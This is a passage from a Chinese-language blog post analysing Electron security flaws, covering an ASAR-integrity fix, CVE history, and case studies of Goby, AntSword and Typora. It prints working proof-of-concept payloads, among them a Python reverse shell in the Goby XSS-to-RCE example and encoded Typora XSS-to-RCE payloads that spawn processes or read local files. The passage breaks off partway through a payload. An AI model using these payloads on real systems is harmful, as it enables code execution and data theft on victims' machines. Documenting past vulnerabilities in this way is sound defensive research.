const integrityList = Object.keys(options.asarIntegrity).map((file) => ({
      file,
      alg: options.asarIntegrity![file].algorithm,
      value: options.asarIntegrity![file].hash,
    }));

bin: Buffer.from(JSON.stringify(integrityList), 'utf-8')

修复后的代码先是取出了对象中所有的 keykey 也就是文件路径 + 文件名,之后使用 map() 函数将每个键转换为一个新的对象,只包含必要的完整性信息:file(文件路径)、alg(哈希算法)和 value(哈希值),将这个对象转成 JSON后以 uft-8的形式存入缓冲区

这样看起来的话,主要有两点不同

  • bin 的属性,一个是 ArrayBuffer 对象,一个就是 Buffer 对象
  • 格式可能不同,后者指定了 utf-8

从这个代码以后,输出 Asar 文件了

所以我们可以尝试模拟一下这个 commit 中的代码,之后看看最终 bin 有何不同

// old.ts
// 定义 FileRecord 类型
type FileRecord = {
  offset: string;
  size: number;
  executable?: boolean;
  integrity: {
    hash: string;
    algorithm: 'SHA-256';
    blocks: string[];
    blockSize: number;
  };
}

// 定义 ExeMetadata 类型
type ExeMetadata = {
  asarIntegrity?: Record<string, Pick<FileRecord['integrity'], 'algorithm' | 'hash'>>;
}

// 定义 resedit 函数
function resedit(options: ExeMetadata) {
  if (options.asarIntegrity) {
    console.log(JSON.stringify(options.asarIntegrity))
    console.log(Buffer.from(JSON.stringify(options.asarIntegrity)).buffer);
  }
}

// 创建一个符合 ExeMetadata 类型的对象
const exeMetadata: ExeMetadata = {
  asarIntegrity: {
    "/path/to/file1.js": {
      algorithm: "SHA-256",
      hash: "abc123...",
    },
    "/path/to/file2.css": {
      algorithm: "SHA-256",
      hash: "def456..."
    },
  },
};

// 调用 resedit 函数
resedit(exeMetadata);
// now.ts
// 定义 FileRecord 类型
type FileRecord = {
    offset: string;
    size: number;
    executable?: boolean;
    integrity: {
      hash: string;
      algorithm: 'SHA-256';
      blocks: string[];
      blockSize: number;
    };
  }
  
  // 定义 ExeMetadata 类型
  type ExeMetadata = {
    asarIntegrity?: Record<string, Pick<FileRecord['integrity'], 'algorithm' | 'hash'>>;
  }
  
  // 定义 resedit 函数
  function resedit(options: ExeMetadata) {
    if (options.asarIntegrity) {
        const integrityList = Object.keys(options.asarIntegrity).map((file) => ({
            file,
            alg: options.asarIntegrity![file].algorithm,
            value: options.asarIntegrity![file].hash,
          }));
        console.log(JSON.stringify(integrityList))
        console.log(Buffer.from(JSON.stringify(integrityList), 'utf-8'));
    }
  }
  
  // 创建一个符合 ExeMetadata 类型的对象
  const exeMetadata: ExeMetadata = {
    asarIntegrity: {
      "/path/to/file1.js": {
        algorithm: "SHA-256",
        hash: "abc123...",
      },
      "/path/to/file2.css": {
        algorithm: "SHA-256",
        hash: "def456..."
      },
    },
  };
  
  // 调用 resedit 函数
  resedit(exeMetadata);

两种方式得到的 bin 确实不同,在这之后就是输出,所以可能导致泄漏的也就是 bin 中的内容了,猜测可能是由于 ArrayBuffer 这种类型导致的

对于 TypeScript 了解的不是很多,对于这种项目该如何调试也确实不是很懂,目前还没有相关从业者进行分析,我们就先分析到这里,如果有一天详细掌握了相关知识再完整分析一遍


这就是截至 2024-04-07 Electron 全部有CVE编号的历史漏洞了,实际上的漏洞远不止这些,可以查看 Electron 版本发布说明

https://releases.electronjs.org/releases/stable

从漏洞发展来看,最开始大家热衷于挖掘可以直接导致 RCE 的漏洞,主要是主进程中 nodeIntegration 对渲染进程的授权不当(包括各种绕过)、主进程本身加载模块产生的各种问题等;

后来直接 RCE 变得困难,大家开始将目标转向预加载脚本 (Preload) ,对应的特性就是 contextIsolation,通过导航等各种方法绕过原本的上下文隔离,获取到修改 Javascript 函数原型的能力,进而通过 IPC 获取敏感信息甚至 RCE;

最后由于 Electron 的安全措施以及使用 Electron 的开发者安全编码规范做得更好了,大家开始将目标转向了偏客户端的漏洞,包括 ASAR 完整性,客户端加载 Nodejs 代码等

但大家仍需要注意隐藏在 CVE 之外的一些内容 —— 供应链漏洞。Chromium 的漏洞 Electron 修复的同时基本不会产生新的 CVE 编号,但是看版本发布说明,其实在此过程中修复了非常多的供应链漏洞,当然可能就是升级一下 Chromium 的事,但对于使用 Electron 开发者以及使用其开发的程序的使用者来说,保持更新是非常重要的

0x03 Electron 应用漏洞案例

这个部分我们将讲述一些使用 Electron 开发的程序的漏洞历史,通过这些历史,大家或许可以从中了解 Electron 对于安全编码的要求以及在实际开发中容易出现的问题

这部分我们会使用 asar 工具解压应用程序打包的 .asar 文件包,具体安装及使用命令如下

npm install -g @electron/asar
asar extract app.asar ./

1. Goby

https://gobysec.net/

Goby 是我比较喜欢的 Electron 开发的应用了,也是我决定学习并尝试使用 Electron 的原因

golang 写 gui 有什么包介绍谢谢? - 赵武的回答 - 知乎 https://www.zhihu.com/question/268536384/answer/1215311575

这是 2020 年的回答,大家回看一下,2020 年及2021 年是 Electron 漏洞频发的时间段,而 Goby 的这次漏洞首次被公开发布于 2021年8月13日,应该是一个叫赛博回忆录的公众号发出来的,没有CVE编号,后来好像出了点波折,不过互联网时代,发出来的内容都会被记录,

原作者补档 https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098656&idx=1&sn=3179fc5de75e6acac637044d99526d8c&chksm=803c66a9b74befbf39a619ebe1c3ef2d26acfbd8c7c6513a9f308e91899d27fcc498fbda5ba1&mpshare=1&scene=23&srcid=1112qq6daexdHodrjL1Kbmas&sharer_sharetime=1636711031175&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

历史记录 https://telegra.ph/%E9%97%B2%E6%9D%A5%E6%97%A0%E4%BA%8B%E5%8F%8D%E5%88%B6GOBY-08-13

这里我们不讨论直接发布是否合理,我们只聚焦于技术细节

文中的存在漏洞的 Goby 版本是 1.8.281

可以看到,这是一个 XSS 漏洞,猜测漏洞产生的原因是 Goby 收集的目标的 Banner 信息部分未经有效处理,直接以 html 代码的形式显示在了页面中,由于 Electron 使用 Chromium 作为渲染,因此在桌面程序中会出现 XSS 的问题

这还没完,后续还有 XSSRCE,这里克服了一些安全检测上的困难以后,通过远程加载 JavaScript 代码达到 RCE 的最终效果

(function(){
require('child_process').exec('open /System/Applications/Calculator.app');
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
})();

当然后续还有很多师傅在此基础之上做了一些锦上添花的工作,例如直接反连到 CobaltStrike


上面的简述里可以看出三个问题

  • XSS 漏洞
  • 渲染进程具备调用 Nodejs API 的能力
  • 渲染进程可以远程加载 JavaScript

官网并没有直接提供 1.8.281 版本,应该是一个在线更新的小版本

我们推测 1.8.281 版本的 id40或41

很可惜,并不能通过 id 直接下载,那我们就找一下在这之前的那个版本 1.8.279,使用 MacOS 版本

这个文件是 ElectronASAR 文件

ASAR 表示 Atom Shell Archive Format。 一个 asar 档案就是一个简单的 tar 文件 - 比如将那些有关联的文件放至一个单独的文件格式中。 Electron 能够任意读取其中的文件并且不需要解压整个文件。

ASAR格式是为了在Windows系统读取大量的小文件时 (比如像从node_modules加载应用的JavaScript依赖关系树) 提高性能。

https://www.electronjs.org/zh/docs/latest/glossary#asar

我们使用 asar 工具将其解压

asar extract app.asar ./

最好在原本的文件夹里执行,不然可能会报错缺失部分文件,接下来就可以拷贝到其他地方了

先看 package.json

{
  "name""Goby",
  "version""1.8.279",
  "gobycmd_version""v1.32.303_beta",
  "versionType""Beta",
  "author""Goby",
  "release""1",
  "description""Goby",
  "license""Goby",
  "main""./dist/electron/main.js",
  "dependencies": {
    "@antv/g6""^3.8.3",
    "adm-zip""^0.4.16",
    "axios""^0.18.0",
    "callsite""^1.0.0",
    "clipboard""^2.0.6",
    "d3""^3.1.6",
    "echarts""^4.9.0",
    "electron-sudo""^4.0.12",
    "element-ui""^2.13.2",
    "encoding""^0.1.12",
    "generic-pool""^3.7.1",
    "iconv-lite""^0.4.24",
    "marked""^1.2.0",
    "menu""^0.2.5",
    "menubar""^5.1.0",
    "minimist""^1.2.0",
    "node-schedule""^1.2.0",
    "os""^0.1.1",
    "request""^2.88.2",
    "simditor""2.3.6",
    "sudo-prompt""^9.0.0",
    "vue""^2.5.16",
    "vue-codemirror""^4.0.6",
    "vue-electron""^1.0.6",
    "vue-i18n""^8.10.0",
    "vue-markdown""^2.2.4",
    "vue-router""^3.0.1",
    "vuex""^3.0.1",
    "xlsx""^0.15.1"
  }
}

这里可以看到一些模块,但是看不到 electron 的版本,如果我们想知道版本的话,该怎么办呢?

有部分网友给出了意见,主进程设置 nodeIntegration,之后在主进程里打开 Developer Tools ,如果 JavaScript 没有混淆,并且 ASAR 完整性没有校验,或许可以,但是 Goby 显然不是这样的选手, Goby 的主进程代码进行了混淆

看起来并不难以解混淆

但这不是最优解,相信此时看过上一篇文章的朋友们已经想到解决办法了

远程调试的利用 https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ

没错,远程调试不就解决了嘛

./Goby --inspect="0.0.0.0:6666" --watch

输入以下命令

process.versions.electron

这里我们可以看出, Electron  版本为 3.1.13 ,我们可以看下这个版本的发布时间

这是一个 2019-07-31 发布的版本,是 3.x 这个版本的最后一个版本

这个操作就可以给想要挖掘 Electron App 漏洞的小伙伴提个醒,直接获取版本,就可能发现小惊喜

但我估计不会有多少人看到这里了

获取了版本之后,我们可以去看一下重大变更,在这个版本中是否存在一些安全策略默认值的变更

https://www.electronjs.org/zh/docs/latest/breaking-changes

https://www.electronjs.org/zh/docs/latest/breaking-changes#%E9%87%8D%E5%A4%A7%E7%9A%84api%E6%9B%B4%E6%96%B0-30

可以看到,在 Electron 5.0 的时候,才将 nodeIntegration 的值默认设置为 false ,也就是说在此之前,默认即不安全

所以通过 webPreferences 的设置,我们可以确定渲染进程是否具备调用 Nodejs API 的能力

(c = new i.BrowserWindow({
                width1152,
                height700,
                title"goby",
                icon: __static + "/img/64.png",
                backgroundColor"#FFFFFF",
                autoHideMenuBar: !1,
                useContentSize: !0,
                webPreferences: {
                    webSecurity: !1
                }
            })).loadURL(a)

可以看到 webPreferences 仅设置了 webSecurity ,这个 webSecurity 是干什么的呢?

这个选项是开启同源策略的,但是设置的值为 !1

所以这里其实是关闭了同源策略,所以渲染进程具备执行 Nodejs 能力,同时具备远程跨域加载 JavaScript/NodeJs 代码,这就给攻击者和开发者同时开了小绿灯

Goby 将前端代码都放在了一个 .js 文件中,并进行了混淆

可能不是很容易找到具体的 XSS 点,但是我们可以通过查看是否存在 HTML 代码拼接的问题进行粗略地查看

这里只是找一处,不见得就真的存在 XSS ,只是存在这种 HTML 代码拼接,插入到网页中,可能造成 XSS

因此这里出现了三个问题都找到了答案

  • XSS 漏洞 —— 拼接 HTML 导致
  • 渲染进程具备调用 Nodejs API 的能力 —— Electron默认即不安全导致
  • 渲染进程可以远程加载 JavaScript —— 主动关闭 webSecurity 导致

剩下的分析部分不会像 Goby 这么细节了,只分析产生漏洞的原因

2. 蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

https://github.com/AntSwordProject/antSword

蚁剑漏洞分析文章

https://github.com/AntSwordProject/antSword/issues/147

https://github.com/AntSwordProject/antSword/issues/151

https://github.com/AntSwordProject/antSword/issues/256

https://github.com/AntSword-Store/AS_Redis/issues/1

https://xz.aliyun.com/t/8167?time__1311=n4%2BxuDgDBDyGKAKq0KDsD7feKxYqC4GIYP%2BEox&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F

https://mp.weixin.qq.com/s/yjuG6DLT_bSRnpggPj21Xw

https://www.uedbox.com/post/54188/

https://cloud.tencent.com/developer/article/1986525

蚁剑不止一个 XSS 漏洞,但是似乎每一个 XSS 漏洞都可以执行 Nodejs 代码

查看 Github 上最新版本的蚁剑代码

我们可以发现,主进程在初始化窗口的时候其实是开启了 nodeIntegration,这也就意味着如果蚁剑出现了 XSS 漏洞,渲染进程是有能力直接访问 Nodejs API的,也就是 RCE

开启 Nodejs 支持可能是功能实现需要吧,但是这非常危险,开发者要极力避免出现 XSS 、引入 iframe

3. Typora

https://typora.io/

Typora 是一款非常优秀的 Markdown  WYSIWYG 编辑器,也就是所谓的所见即所得编辑器,它的历史漏洞绝大多数为 XSS 漏洞,关键是似乎可以执行任意代码

其实编辑器,尤其是支持 Markdown 的编辑器是 Electron XSS 漏洞的重灾区,曾经一个演讲上,一位外国的师傅声称在几乎所有 Markdown 编辑器中找到 XSS,这其实不难理解,因为 Markdown 本身是支持 HTML 的,所以想要处理好 XSS 真的是巨困难,很多编辑器类的程序都使用了 DOMPurify 进行过滤,将无害的 HTML 代码允许显示在页面上

因此,这类编辑器类程序要非常非常注意 XSS ,如果用了 DOMPurify 记得关注两点

  1. 是否在每一个输出点都使用了 DOMPurify.sanitize() 进行处理,
  2. DOMPurify 的版本是否为最新版,之前出现过非最新版导致的漏洞

其他过滤程序也是一个道理

部分漏洞分析文章如下

https://zhuanlan.zhihu.com/p/51768716

https://github.com/typora/typora-issues/issues/2124

https://github.com/typora/typora-issues/issues/2289

https://starlabs.sg/advisories/23/23-2317/

https://github.com/typora/typora-issues/issues/3124

https://hitcon.org/2023/CMT/slide/What%20You%20See%20IS%20NOT%20What%20You%20Get_%20Pwning%20Electron-based%20Markdown%20Note-taking%20Apps.pdf

MacOS 上最新版本的 Typora 不是 Electron 写的,至少最新版不是,既然这么多漏洞都可以代码执行,是不是最新版依旧是 nodeIntegration 被设置了 true

同样的方式解包 app.asar 却发现和之前不太一样

解包后还是一个二进制程序,看来没有使用默认的打包发布方法

使用远程调试的方法会跳出一个弹窗错误,说不允许调试,但调试功能还是开了

看起来应该是调试只提供了 Nodejs 环境,没有给与程序相关的对象

那我们只能看这些漏洞相关的描述来分析了

1) CVE-2019-12137

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12137

http://packetstormsecurity.com/files/153082/Typora-0.9.9.24.6-Directory-Traversal.html

https://github.com/typora/typora-issues/issues/2505

仅 macOS 平台
Typora <= 0.9.9.24.6

这是一个目录遍历导致的代码执行, Typora 允许 file:///../ 等字符目录遍历执行其他程序, PoC 如下

[Hello World](file:///../../../../etc/passwd)
[Hello World](file:///../../../../something.app)

这是一个相对典型的文件读取漏洞,很多的 Electron 程序都存在,这还只是利用 file 协议,很多应用程序都会自定义一些协议,例如 myapp:// ,这些自定义协议可能造成文件读取或者命令执行

2) CVE-2019-12172

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12172

https://github.com/typora/typora-issues/issues/2166

Typora <= 0.9.9.21.1 (1913)

AREA 元素的 href 属性如果设置为 file:\\\file://C 会导致任意代码执行,下面是 PoC

MacOS

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\Applications\Calculator.app">
</map>
</body>
</html>

Windows

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file://C|Windows/System32/calc.exe">
</map>
</body>
</html>

Linux

<!DOCTYPE html>
<html>
<body>
    <p>
        Click me!
    </p>
<img src="exploit.gif" width="145" height="126"usemap="#exploitmap" alt="exploit" download>
<map name="exploitmap">
  <area shape="rect" coords="0,0,82,126" alt="exploit" id="exploitme" href="file:\\\">
</map>
</body>
</html>

这是 Typora 在元素属性上过滤的不充分导致的问题

3) CVE-2019-20374

https://github.com/cure53/DOMPurify/commit/4e8af7b2c4a159b683d317e02c5cbddb86dc4a0e

https://github.com/typora/typora-issues/issues/3124

Typora <= 0.9.9.31.2 on macOS
Typora <= 0.9.81 on Linux

这是个 XSS To RCE 漏洞,是由于 mermaid 绘图语法未经过有效过滤导致的,但更直接的原因是供应链问题,Typora 未使用最新版本的 DOMPurify

PoC

```mermaid
graph TD
z --> q{<svg></p><style><g title=&#x3c&#x73&#x76&#x67&#x3e&#x0a&#x22&#x3c&#x2f&#x73&#x74&#x79&#x6c&#x65&#x3e&#x3c&#x69&#x6d&#x67&#x20&#x73&#x72&#x63&#x20&#x6f&#x6e&#x65&#x72&#x72&#x6f&#x72&#x3d&#x65&#x76&#x61&#x6c&#x28&#x61&#x74&#x6f&#x62&#x28&#x27&#x64&#x48&#x4a&#x35&#x65&#x33&#x5a&#x68&#x63&#x69&#x42&#x79&#x50&#x58&#x4a&#x6c&#x63&#x57&#x35&#x76&#x5a&#x47&#x55&#x6f&#x4a&#x32&#x4e&#x6f&#x61&#x57&#x78&#x6b&#x58&#x33&#x42&#x79&#x62&#x32&#x4e&#x6c&#x63&#x33&#x4d&#x6e&#x4b&#x54&#x74&#x79&#x4c&#x6d&#x56&#x34&#x5a&#x57&#x4e&#x47&#x61&#x57&#x78&#x6c&#x4b&#x43&#x63&#x76&#x64&#x58&#x4e&#x79&#x4c&#x32&#x4a&#x70&#x62&#x69&#x39&#x6e&#x62&#x6d&#x39&#x74&#x5a&#x53&#x31&#x6a&#x59&#x57&#x78&#x6a&#x64&#x57&#x78&#x68&#x64&#x47&#x39&#x79&#x4a&#x79&#x6c&#x38&#x66&#x48&#x49&#x75&#x5a&#x58&#x68&#x6c&#x59&#x30&#x5a&#x70&#x62&#x47&#x55&#x6f&#x4a&#x32&#x4e&#x68&#x62&#x47&#x4d&#x75&#x5a&#x58&#x68&#x6c&#x4a&#x79&#x6c&#x39&#x59&#x32&#x46&#x30&#x59&#x32&#x68&#x37&#x64&#x32&#x6c&#x75&#x5a&#x47&#x39&#x33&#x4c&#x6d&#x4a&#x79&#x61&#x57&#x52&#x6e&#x5a&#x53&#x35&#x6a&#x59&#x57&#x78&#x73&#x53&#x47&#x46&#x75&#x5a&#x47&#x78&#x6c&#x63&#x69&#x67&#x6e&#x64&#x32&#x6c&#x75&#x5a&#x47&#x39&#x33&#x4c&#x6d&#x39&#x77&#x5a&#x57&#x34&#x6e&#x4c&#x43&#x41&#x6e&#x5a&#x6d&#x6c&#x73&#x5a&#x54&#x6f&#x76&#x4c&#x79&#x39&#x54&#x65&#x58&#x4e&#x30&#x5a&#x57&#x30&#x76&#x51&#x58&#x42&#x77&#x62&#x47&#x6c&#x6a&#x59&#x58&#x52&#x70&#x62&#x32&#x35&#x7a&#x4c&#x30&#x4e&#x68&#x62&#x47&#x4e&#x31&#x62&#x47&#x46&#x30&#x62&#x33&#x49&#x75&#x59&#x58&#x42&#x77&#x4c&#x30&#x4e&#x76&#x62&#x6e&#x52&#x6c&#x62&#x6e&#x52&#x7a&#x4c&#x30&#x31&#x68&#x59&#x30&#x39&#x54&#x4c&#x30&#x4e&#x68&#x62&#x47&#x4e&#x31&#x62&#x47&#x46&#x30&#x62&#x33&#x49&#x6e&#x4b&#x58&#x30&#x37&#x27&#x29&#x29&#x3e&#x22>}

```

4) CVE-2019-6803

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6803

https://github.com/typora/typora-issues/issues/2124

Typora <= 0.9.9.20.3

Typora 左边栏过滤不严格,导致 XSS To RCE

PoC

# 1
#  \<script src=https://hacker_s_url/xss.js\>\</script\> 

xss.js

//xss.js 's content
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function (a, b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key + '=' + env[key]);
proc.spawn({
    file'cmd.exe',
    args: ['/k netplwiz'],
    cwdnull,
    windowsVerbatimArgumentsfalse,
    detachedfalse,
    envPairs: env_,
    stdio: [{
        type'ignore'
    }, {
        type'ignore'
    }, {
        type'ignore'
    }]
});

其实到这里就没啥可说的了,就是到处 XSS

5) CVE-2019-7295

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7295

https://github.com/typora/typora-issues/issues/2129

Typora <= 0.9.63

这也是一个 XSS To RCE 漏洞,出问题的点在数学公式处

PoC

$$
</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>
$$

6) CVE-2019-7296

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7296

https://github.com/typora/typora-issues/issues/2131

Typora <= 0.9.64

CVE-2019-7295 类似,也是在数学公式上出了问题,新版本(v0.9.64),仅修复了在块中渲染数学公式时的漏洞。然而,它也有这个问题时,呈现内联

新的 PoC

$</script><iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>$

7) CVE-2020-18221

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18221

https://github.com/typora/typora-issues/issues/2204

Typora <= 0.9.65

攻击者通过在数学公式的块渲染期间插入命令可实现RCE

XSS PoC

<svg>
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

RCE PoC

<svg>
<iframe srcdoc="<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))>"></iframe>

说实话,我没理解这与数学公式有什么关系,更清晰的描述应该是 iframesrcdoc 属性过滤不严格,难道是因为要插入数学公式才允许的 iframe 标签吗?

8) CVE-2020-18336

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18336

https://github.com/typora/typora-issues/issues/2232

Typora <= 0.9.65

在导出 PDF 的地方存在 XSS 漏洞

PoC

<script>x=new XMLHttpRequest;x.onload=function(){document.write('\<font style="opacity:.01"\>'+this.responseText+'\<\/font\>')};x.open("GET","file:///C:/Windows/system32/inetsrv/MetaBase.xml");x.send();</script>

这个可能大家看起来有点眼熟,和之前我们分析的 electron-pdf 漏洞几乎一样,不知道是不是因为使用存在漏洞的组件导致的,也不好确定,因为 typora 并不开源,作者也不会贴上 commit

9) CVE-2020-18737

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18737

https://github.com/typora/typora-issues/issues/2289

Typora <= 0.9.67

还是 mermaid 绘图语法没有过滤好,导致的 XSS To RCE

XSS PoC

```mermaid
graph LR
id1["<iframe src=javascript:alert('xss')></iframe>"]
```

RCE PoC

```mermaid
graph LR
id1["<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>"]
```

10) CVE-2020-18748

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-18748

https://github.com/typora/typora-issues/issues/2226

Typora <= 0.9.65

攻击者通过数学公式块中的数学公式配置错误,通过数学公式语法执行任意代码。这是一个与CVE-2020-18221不同的漏洞

PoC

$$
\style{fill: black;}{
\href{javascript:eval(`cp=reqnode("child_process");
cp.exec("calc");`)}{
\begin{matrix}
1 & x & x^2 \\
1 & y & y^2 \\
\end{matrix}
}
}
$$

根据描述,这个漏洞需要点击触发

11) CVE-2020-21058

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-21058

https://github.com/typora/typora-issues/issues/2959

Typora <= 0.9.79

又是 mermaid 语法导致的 XSS To RCE

PoC

```mermaid
graph TD
B --> C{<iframe srcdoc=&#60&#115&#99&#114&#105&#112&#116&#62&#10&#97&#108&#101&#114&#116&#40&#116&#111&#112&#46&#108&#111&#99&#97&#116&#105&#111&#110&#46&#104&#114&#101&#102&#41&#59&#10&#60&#47&#115&#99&#114&#105&#112&#116&#62></iframe>}
```
typora rce

RCE PoC

```mermaid
graph TD
B --> C{<iframe srcdoc=&#60&#115&#99&#114&#105&#112&#116&#62&#10&#118&#97&#114&#32&#80&#114&#111&#99&#101&#115&#115&#32&#61&#32&#116&#111&#112&#46&#112&#114&#111&#99&#101&#115&#115&#46&#98&#105&#110&#100&#105&#110&#103&#40&#39&#112&#114&#111&#99&#101&#115&#115&#95&#119&#114&#97&#112&#39&#41&#46&#80&#114&#111&#99&#101&#115&#115&#59&#10&#118&#97&#114&#32&#112&#114&#111&#99&#32&#61&#32&#110&#101&#119&#32&#80&#114&#111&#99&#101&#115&#115&#40&#41&#59&#10&#112&#114&#111&#99&#46&#111&#110&#101&#120&#105&#116&#32&#61&#32&#102&#117&#110&#99&#116&#105&#111&#110&#32&#40&#97&#44&#32&#98&#41&#32&#123&#125&#59&#10&#118&#97&#114&#32&#101&#110&#118&#32&#61&#32&#116&#111&#112&#46&#112&#114&#111&#99&#101&#115&#115&#46&#101&#110&#118&#59&#10&#118&#97&#114&#32&#101&#110&#118&#95&#32&#61&#32&#91&#93&#59&#10&#102&#111&#114&#32&#40&#118&#97&#114&#32&#107&#101&#121&#32&#105&#110&#32&#101&#110&#118&#41&#32&#101&#110&#118&#95&#46&#112&#117&#115&#104&#40&#107&#101&#121&#32&#43&#32&#39&#61&#39&#32&#43&#32&#101&#110&#118&#91&#107&#101&#121&#93&#41&#59&#10&#112&#114&#111&#99&#46&#115&#112&#97&#119&#110&#40&#123&#10&#32&#32&#32&#32&#102&#105&#108&#101&#58&#32&#39&#99&#109&#100&#46&#101&#120&#101&#39&#44&#10&#32&#32&#32&#32&#97&#1